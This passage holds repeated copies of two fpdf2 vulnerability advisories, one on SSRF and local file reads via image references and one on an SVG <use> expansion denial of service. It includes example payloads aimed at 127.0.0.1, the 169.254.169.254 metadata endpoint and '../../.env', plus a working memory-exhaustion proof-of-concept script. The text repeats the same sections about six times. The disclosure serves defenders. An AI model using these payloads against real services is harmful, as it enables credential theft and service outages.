pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
